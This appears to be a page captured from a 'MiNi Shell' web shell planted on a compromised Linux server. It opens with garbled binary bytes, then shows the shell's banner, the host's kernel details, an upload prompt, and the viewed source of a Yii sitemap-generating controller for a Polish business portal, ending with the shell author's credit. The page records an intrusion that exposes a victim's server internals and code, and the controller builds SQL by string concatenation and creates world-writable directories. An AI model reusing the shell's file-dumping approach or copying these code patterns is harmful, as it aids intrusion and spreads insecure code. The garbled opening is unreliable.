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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/SitemapController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use \yii\helpers\Console;
use common\models\Mailings;
use common\models\MailingsShipping;
use common\models\Portals;
use common\models\types\MailingStatus;
use common\models\types\Status;
use yii\console\ExitCode;
use frontend\components\helpers\SlugGenerator;

class SitemapController extends Controller
{    
    use \common\components\traits\DirectoriesFunctions;
    
    public $idPortal;
    
    const MAX_FILESIZE_FOR_SINGLE_FILE = 200000; //bajtow
    const MAX_URLS_NUMBER_PER_FILE = 49000;
    const MAX_FILES_IN_INDEX = 200;
    const PROTOCOL = 'https';
    const WWW_PREFIX = 'www.';
    
    const CATEGORY_ARTICLES = 'articles';
    const CATEGORY_PRODUCTS = 'products';
    const CATEGORY_COMPANIES_PRESENTATIONS = 'companies_presentations';
    const CATEGORY_ADVERTISEMENTS = 'advertisements';
    const CATEGORY_TRAININGS = 'trainings';
    const CATEGORY_FAIRS = 'fairs';
    const CATEGORY_PARTNERS = 'partners';
    const CATEGORY_TENDERS = 'tenders';
    const CATEGORY_BOOKS = 'books';
    const CATEGORY_JOB_OFFERS = 'job_offers';
    const CATEGORY_ARTICLES_CATEGORIES = 'articles_categories';
    const CATEGORY_PRODUCTS_CATEGORIES = 'products_categories';
    const CATEGORY_COMPANIES_CATEGORIES = 'companies_categories';
    const CATEGORY_ADVERTISEMENTS_CATEGORIES = 'advertisements_categories';
    const CATEGORY_TRAININGS_CATEGORIES = 'trainings_categories';
    const CATEGORY_PARTNERS_CATEGORIES = 'partners_categories';
    const CATEGORY_BOOKSTORE_CATEGORIES = 'bookstore_categories';
    const CATEGORY_JOB_OFFERS_CATEGORIES = 'job_offers_categories';
    
    protected $portalDomain;
    protected $portalDir;
    protected $filesNames = [];
    protected $actualDate;
    protected $actualTime;
    
    public function options($actionID)
    {
        switch($actionID) {
            case 'xml':
                return ['idPortal'];
                break;
            default:
                return [];
        }
    }
    
    public function optionAliases()
    {
        return [
            'idPortal' => 'idPortal',
        ];
    }
    
    public function actionXml()
    {
        $resultCode = $this->initializePortal();
        if($resultCode !== ExitCode::OK) {
            return $resultCode;
        }
        
        $categories = [
            self::CATEGORY_ARTICLES, 
            self::CATEGORY_PRODUCTS, 
            self::CATEGORY_COMPANIES_PRESENTATIONS, 
            self::CATEGORY_ADVERTISEMENTS, 
            self::CATEGORY_TRAININGS, 
            self::CATEGORY_FAIRS, 
            self::CATEGORY_PARTNERS, 
            self::CATEGORY_TENDERS, 
            self::CATEGORY_BOOKS,
            self::CATEGORY_JOB_OFFERS,
            self::CATEGORY_ARTICLES_CATEGORIES,
            self::CATEGORY_PRODUCTS_CATEGORIES,
            self::CATEGORY_COMPANIES_CATEGORIES,
            self::CATEGORY_ADVERTISEMENTS_CATEGORIES,
            self::CATEGORY_TRAININGS_CATEGORIES,
            self::CATEGORY_PARTNERS_CATEGORIES,
            self::CATEGORY_BOOKSTORE_CATEGORIES,
            self::CATEGORY_JOB_OFFERS_CATEGORIES
        ];
        
        foreach($categories as $category) {
            $result = $this->createXMLFiles($category);
            if(is_int($result)) {
                return $result;
            }
        }
        
        $result = $this->createXMLFilesIndex();
        if($result !== ExitCode::OK) {
            return $result;
        }
        
        return ExitCode::OK;
    }
    
    protected function initializePortal()
    {
        $this->actualDate = date("Y-m-d");
        $this->actualTime = date("H:m:s");    
        
        if(empty($this->idPortal)) {
            $this->stderr('Parametr "idPortal" musi zostać podany.'."\n");
            return ExitCode::DATAERR;
        }
        
        $this->portalDomain = \common\models\Portals::find()->select(['domain'])->where(['id_portal' => $this->idPortal])->scalar();
        if(empty($this->portalDomain)) {
            $this->stderr('Wartość parametru "idPortal" nie wskazuje na żaden istniejący portal.'."\n");
            return ExitCode::NOINPUT;
        }
        
        $this->portalDir = Yii::getAlias('@frontend/web/').Yii::getAlias('@sitemapXMLDir/'.$this->idPortal);
        
        $flag = $this->createDir($this->portalDir, true, true, 0777); //tutaj od razu odbywa się usunięcie obecnego katalogu jeśli taki istniał        
        if(!$flag) {
            $this->stderr('Nie można utworzyć folderu: "'.$this->portalDir.'"'."\n");
            return ExitCode::IOERR;
        }
        
        return ExitCode::OK;
    }
    
    protected function createXMLFiles($category) 
    {
        
        $output = [
            'urls_number' => 0,
            'files_number' => 0
        ];
        
        $methodName = $this->getMethodName($category);
        if(empty($methodName)) {
            return $output;
        }
        
	$xmlCode = '';
	$fileNumber = 0;
        $urlsNumberTemp = 0;
        foreach($this->$methodName() as $url) {
            if((strlen($xmlCode) < self::MAX_FILESIZE_FOR_SINGLE_FILE) && !empty($url) && ($urlsNumberTemp < self::MAX_URLS_NUMBER_PER_FILE)) {
//                $xmlCode .= "<url>".self::PROTOCOL.'://'.self::WWW_PREFIX.'/'.$this->portalDomain.'/'.$url."</url>\n"; 
                $xmlCode .= $url."\n";
                
                $urlsNumberTemp++;
                $output['urls_number']++;
            } elseif($fileNumber <= self::MAX_FILES_IN_INDEX) {
                $fileNumber++;                
                $fileName = $category.'_'.$fileNumber.'.xml';
                $this->filesNames[] = $fileName;
                
                $result = file_put_contents($this->portalDir.'/'.$fileName, '<?xml version="1.0" encoding="UTF-8" ?>'."\n".'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'."\n".$xmlCode.'</urlset>');
                if($result === false) {
                    $this->stderr('Nie można zapisać pliku: "'.$this->portalDir.'/'.$fileName.'"'."\n");
                    return ExitCode::IOERR;
                }
                
                unset($xmlCode);  
                $xmlCode = '';
                $urlsNumberTemp = 0;
            } else {
                break;
            }
        }
        
        if(!empty($xmlCode)) {
            $fileNumber++;                
            $fileName = $category.'_'.$fileNumber.'.xml';
            $this->filesNames[] = $fileName;

            $result = file_put_contents($this->portalDir.'/'.$fileName, '<?xml version="1.0" encoding="UTF-8" ?>'."\n".'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'."\n".$xmlCode.'</urlset>');
            if($result === false) {
                $this->stderr('Nie można zapisać pliku: "'.$this->portalDir.'/'.$fileName.'"'."\n");
                return ExitCode::IOERR;
            }
            unset($xmlCode);
        }        
        
	$output['files_number'] = $fileNumber;
	
	return $output;
    }  
    
    protected function createXMLFilesIndex() 
    {
        $xmlCode = '<?xml version="1.0" encoding="UTF-8"?>'."\n";
        $xmlCode .= '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'."\n";
        if(!empty($this->filesNames)) {
            foreach($this->filesNames as $fileName) {
                $xmlCode .= "<sitemap>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/'.Yii::getAlias('@sitemapXMLDir/'.$this->idPortal).'/'.$fileName."</loc>\n<lastmod>".$this->actualDate."T".$this->actualTime."+00:00</lastmod>\n</sitemap>\n";
            }
        }
        $xmlCode .= "</sitemapindex>";
        
        $result = file_put_contents($this->portalDir.'/index.xml', $xmlCode);
        if($result === false) {
            $this->stderr('Nie można zapisać pliku: "'.$this->portalDir.'/index.xml'."\n");
            return ExitCode::IOERR;
        }
        
	return ExitCode::OK;
    }  
    
    protected function getMethodName($category)
    {
        
        $categoryParts = explode("_", $category);
        array_walk($categoryParts, function(&$item, $key) { $item = ucfirst(strtolower($item)); });
        $methodName = 'get'.implode("", $categoryParts).'Urls';
        
        return method_exists($this, $methodName) ? $methodName : null;
        
//        $methodName = null;
//        switch($category) {
//            case self::CATEGORY_ARTICLES:
//                $methodName = 'getArticlesUrls';
//                break;
//            case self::CATEGORY_PRODUCTS:
//                $methodName = 'getProductsUrls';
//                break;
//            case self::CATEGORY_COMPANIES_PRESENTATIONS:
//                $methodName = 'getCompaniesPresentationsUrls';
//                break;
//            case self::CATEGORY_ADVERTISEMENTS:
//                $methodName = 'getTrainingsUrls';
//                break;
//            default:
//                $methodName = null;
//        }
//        
//        return $methodName;
    }
    
    protected function getArticlesUrls()
    {
        $sql = 'SELECT articles.id_article, articles.title FROM articles '
                . 'INNER JOIN articles_has_portals ON articles_has_portals.id_article = articles.id_article AND articles_has_portals.id_portal = '.$this->idPortal.' '
                . 'WHERE articles.status = \''.(\common\models\types\Status::ACTIVE).'\' '
                . 'ORDER BY articles.publication_datetime DESC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/artykuly/szczegoly/'.$row['id_article'].'_'.SlugGenerator::generate($row['title'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getArticlesCategoriesUrls()
    {
        $sql = 'SELECT articles_categories.id_category, articles_categories.name, articles_categories.left, articles_categories.right FROM articles_categories '
                . 'WHERE articles_categories.id_portal = '.$this->idPortal
                . ' AND articles_categories.depth > 0 '
                . 'ORDER BY articles_categories.left ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            $isLeaf = (intval($row['right']) - intval($row['left'])) === 1;
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/artykuly/'.($isLeaf ? 'lista' : 'index').'/'.$row['id_category'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getProductsUrls()
    {        
        $sql = 'SELECT products.id_product, products.name FROM products '
                . 'INNER JOIN companies_presentations_has_products ON companies_presentations_has_products.id_product = products.id_product '
                . 'INNER JOIN companies_presentations ON companies_presentations.id_presentation = companies_presentations_has_products.id_presentation '
                . 'WHERE companies_presentations.id_portal = '.$this->idPortal
                . ' AND products.status = \''.(\common\models\types\Status::ACTIVE).'\''
                . ' AND companies_presentations.status = \''.(\common\models\types\Status::ACTIVE).'\' '
                . 'ORDER BY products.id_product ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/produkty/szczegoly/'.$row['id_product'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getProductsCategoriesUrls()
    {        
        $sql = 'SELECT products_categories.id_category, products_categories.name FROM products_categories '
                . 'WHERE products_categories.id_portal = '.$this->idPortal
                . ' AND products_categories.depth > 0 '
                . 'ORDER BY products_categories.left ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/produkty/lista/'.$row['id_category'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }         
    }
    
    protected function getCompaniesPresentationsUrls()
    {     
        $tabsToActionsMap = [
            \common\models\PresentationsTabs::TAB_CONTACT_DATA => 'dane-kontaktowe',
            \common\models\PresentationsTabs::TAB_PHOTO_GALLERIES => 'galerie',
            \common\models\PresentationsTabs::TAB_VIDEO_GALLERIES => 'video',
            \common\models\PresentationsTabs::TAB_REFERENCES_AND_AWARDS => 'referencje-i-nagrody',
            \common\models\PresentationsTabs::TAB_ABOUT_COMPANY => 'o-firmie',
            \common\models\PresentationsTabs::TAB_OFFER => 'oferta',
            \common\models\PresentationsTabs::TAB_DOWNLOAD => 'do-pobrania',
            \common\models\PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE => 'branze-i-zasieg',
            \common\models\PresentationsTabs::TAB_PRODUCTS_AND_SERVICES => 'produkty-i-uslugi',
            \common\models\PresentationsTabs::TAB_PUBLICATIONS => 'publikacje',
            \common\models\PresentationsTabs::TAB_BRANCHES => 'oddzialy',
            \common\models\PresentationsTabs::TAB_TRAININGS => 'szkolenia'
        ];
        
        //@todo ustalić
        $packagesToPriorityMap = [
            \common\models\PresentationsPackages::PACKAGE_STARTER => '1',
            \common\models\PresentationsPackages::PACKAGE_BASIC => '1',
            \common\models\PresentationsPackages::PACKAGE_STANDARD => '1',
            \common\models\PresentationsPackages::PACKAGE_STANDARD_PLUS => '1',
            \common\models\PresentationsPackages::PACKAGE_PREMIUM => '1',
            \common\models\PresentationsPackages::PACKAGE_EXCLUSIVE => '1',
            \common\models\PresentationsPackages::PACKAGE_CUSTOM => '1'
        ];
        
        $sql = 'SELECT companies_presentations.id_presentation, companies_presentations.id_package, companies.name, companies_presentations_tabs.id_tab FROM companies_presentations '
                . 'INNER JOIN companies ON companies.id_company = companies_presentations.id_company '
                . 'INNER JOIN companies_presentations_tabs ON companies_presentations_tabs.id_presentation = companies_presentations.id_presentation '
                . 'INNER JOIN portals_has_presentations_tabs ON portals_has_presentations_tabs.id_tab = companies_presentations_tabs.id_tab AND portals_has_presentations_tabs.id_portal = '.$this->idPortal.' '
                . 'WHERE companies_presentations.id_portal = '.$this->idPortal
                . ' AND companies_presentations_tabs.status = \''.(\common\models\types\Status::ACTIVE).'\''
                . ' AND companies_presentations.status = \''.(\common\models\types\Status::ACTIVE).'\' '
                . ' AND companies.status = \''.(\common\models\types\Status::ACTIVE).'\' '
                . 'ORDER BY companies_presentations.id_presentation ASC, companies_presentations_tabs.tab_order ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/firmy/'.$tabsToActionsMap[$row['id_tab']].'/'.$row['id_presentation'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>".$packagesToPriorityMap[$row['id_package']]."</priority>\n</url>";
        }        
    }
    
    protected function getCompaniesCategoriesUrls()
    {        
        $sql = 'SELECT companies_categories.id_category, companies_categories.name FROM companies_categories '
                . 'WHERE companies_categories.id_portal = '.$this->idPortal
                . ' AND companies_categories.depth > 0 '
                . 'ORDER BY companies_categories.left ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/firmy/lista/'.$row['id_category'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }         
    }
    
    protected function getAdvertisementsUrls()
    {
        $sql = 'SELECT advertisements.id_advertisement, advertisements.title FROM advertisements '
                . 'WHERE advertisements.id_portal = '.$this->idPortal
                . ' AND advertisements.status = \''.(\common\models\types\AdvertisementStatus::ACTIVE).'\' '
                . ' AND advertisements.expiry_date >= \''.$this->actualDate.'\' '
                . 'ORDER BY advertisements.id_advertisement DESC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/ogloszenia/szczegoly/'.$row['id_advertisement'].'_'.SlugGenerator::generate($row['title'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getAdvertisementsCategoriesUrls()
    {
        $sql = 'SELECT advertisements_categories.id_category, advertisements_categories.name FROM advertisements_categories '
                . 'WHERE advertisements_categories.id_portal = '.$this->idPortal
                . ' AND advertisements_categories.depth > 0 '
                . 'ORDER BY advertisements_categories.left ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/ogloszenia/lista/'.$row['id_category'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getTrainingsUrls()
    {        
        $sql = 'SELECT trainings.id_training, trainings.name FROM trainings '
                . 'INNER JOIN trainings_has_portals ON trainings_has_portals.id_training = trainings.id_training '
                . 'WHERE trainings_has_portals.id_portal = '.$this->idPortal
                . ' AND trainings.status = \''.(\common\models\types\Status::ACTIVE).'\' '
                . 'ORDER BY trainings.id_training DESC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/szkolenia/szczegoly/'.$row['id_training'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getTrainingsCategoriesUrls()
    {        
        $sql = 'SELECT trainings_categories.id_category, trainings_categories.name FROM trainings_categories '
                . 'INNER JOIN portals_has_trainings_categories ON portals_has_trainings_categories.id_category = trainings_categories.id_category '
                . 'WHERE portals_has_trainings_categories.id_portal = '.$this->idPortal.' '
                . 'ORDER BY trainings_categories.name ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/szkolenia/index/'.$row['id_category'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }         
    }
    
    protected function getFairsUrls()
    {        
        $sql = 'SELECT fairs.id_fair, fairs.name FROM fairs '
                . 'INNER JOIN fairs_series_has_portals ON fairs_series_has_portals.id_series = fairs.id_series '
                . 'WHERE fairs_series_has_portals.id_portal = '.$this->idPortal.' '
                . 'ORDER BY fairs.date_start DESC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/targi/szczegoly/'.$row['id_fair'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getPartnersUrls()
    {       
        $sql = 'SELECT partners.id_partner, partners.name FROM partners '
                . 'INNER JOIN partners_has_portals ON partners_has_portals.id_partner = partners.id_partner '
                . 'WHERE partners_has_portals.id_portal = '.$this->idPortal
                . ' AND ('
                    . '(partners_has_portals.date_start IS NOT NULL AND partners_has_portals.date_end IS NOT NULL AND partners_has_portals.date_start <= \''.$this->actualDate.'\' AND partners_has_portals.date_end >= \''.$this->actualDate.'\') '
                    . 'OR (partners_has_portals.date_start IS NOT NULL AND partners_has_portals.date_end IS NULL AND partners_has_portals.date_start <= \''.$this->actualDate.'\') '
                    . 'OR (partners_has_portals.date_start IS NULL AND partners_has_portals.date_end IS NOT NULL AND partners_has_portals.date_end >= \''.$this->actualDate.'\') '
                    . 'OR (partners_has_portals.date_start IS NULL AND partners_has_portals.date_end IS NULL)'
                . ')'
                . 'ORDER BY partners.id_partner DESC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/partnerzy/szczegoly/'.$row['id_partner'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getPartnersCategoriesUrls()
    {
        foreach(\common\models\types\PartnerCategory::$values as $category) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/partnerzy/'.SlugGenerator::generate($category)."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }      
    }
    
    protected function getTendersUrls()
    {
        $cpvCodes = Yii::$app->db->createCommand('SELECT cpv FROM portals_has_tenders_cpv WHERE id_portal = '.$this->idPortal)->queryColumn();
        if(!empty($cpvCodes)) {
            $cpvCodes = array_unique($cpvCodes);
            foreach($cpvCodes as $key => $cpvCode) {
                $cpvCodes[$key] = substr(trim($cpvCode), 0, 8);
            }
        }        

        $query = new \yii\mongodb\Query();
        $cursor = $query->from('tenders')->select(['_id', 'nazwa_zamowienia'])->andWhere(['or', ['numercpv' => $cpvCodes], ['numercpv2' => $cpvCodes]])->buildCursor();
        
        $iterator = new \IteratorIterator($cursor);
        $iterator->rewind(); 

        while($row = $iterator->current()) {
            $iterator->next();
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/przetargi/szczegoly/'.$row['_id'].'_'.SlugGenerator::generate($row['nazwa_zamowienia'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }       
    }
    
    protected function getBooksUrls()
    {        
        $sql = 'SELECT books.id_book, books.title FROM books '
                . 'INNER JOIN publishing_houses ON publishing_houses.id_publishing_house = books.id_publishing_house '
                . 'INNER JOIN books_has_bookstore_categories ON books_has_bookstore_categories.id_book = books.id_book '
                . 'INNER JOIN portals_has_bookstore_categories ON portals_has_bookstore_categories.id_category = books_has_bookstore_categories.id_category '
                . 'WHERE portals_has_bookstore_categories.id_portal = '.$this->idPortal
                . ' AND publishing_houses.status = \''.(\common\models\types\Status::ACTIVE).'\' '
                . 'ORDER BY books.id_book DESC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/ksiegarnia/pozycja/'.$row['id_book'].'_'.SlugGenerator::generate($row['title'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getBookstoreCategoriesUrls()
    {        
        $sql = 'SELECT bookstore_categories.id_category, bookstore_categories.name FROM bookstore_categories '
                . 'INNER JOIN portals_has_bookstore_categories ON portals_has_bookstore_categories.id_category = bookstore_categories.id_category '
                . 'WHERE portals_has_bookstore_categories.id_portal = '.$this->idPortal.' '
                . 'ORDER BY bookstore_categories.name ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/ksiegarnia/katalog/'.$row['id_category'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }         
    }
    
    protected function getJobOffersUrls()
    {
        $sql = 'SELECT job_offers.id_offer, job_offers.title FROM job_offers '
                . 'INNER JOIN job_offers_has_job_offers_categories ON job_offers_has_job_offers_categories.id_offer = job_offers.id_offer '
                . 'INNER JOIN portals_has_job_offers_categories ON portals_has_job_offers_categories.id_category = job_offers_has_job_offers_categories.id_category '
                . 'WHERE portals_has_job_offers_categories.id_portal = '.$this->idPortal.' '
                . ' AND job_offers.publication_end_date >= \''.$this->actualDate.'\' '
                . 'ORDER BY job_offers.publication_end_date ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/ofertypracy/szczegoly/'.$row['id_offer'].'_'.SlugGenerator::generate($row['title'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }        
    }
    
    protected function getJobOffersCategoriesUrls()
    {        
        $sql = 'SELECT job_offers_categories.id_category, job_offers_categories.name FROM job_offers_categories '
                . 'INNER JOIN portals_has_job_offers_categories ON portals_has_job_offers_categories.id_category = job_offers_categories.id_category '
                . 'WHERE portals_has_job_offers_categories.id_portal = '.$this->idPortal.' '
                . 'ORDER BY job_offers_categories.name ASC';
        
        $reader = Yii::$app->db->createCommand($sql)->query();
        $reader->setFetchMode(\PDO::FETCH_ASSOC);
        
        while($row = $reader->read()) {
            yield  "<url>\n<loc>".self::PROTOCOL.'://'.self::WWW_PREFIX.$this->portalDomain.'/ofertypracy/lista/'.$row['id_category'].'_'.SlugGenerator::generate($row['name'])."</loc>\n<lastmod>".$this->actualDate."</lastmod>\n<changefreq>monthly</changefreq>\n<priority>1</priority>\n</url>";
        }         
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com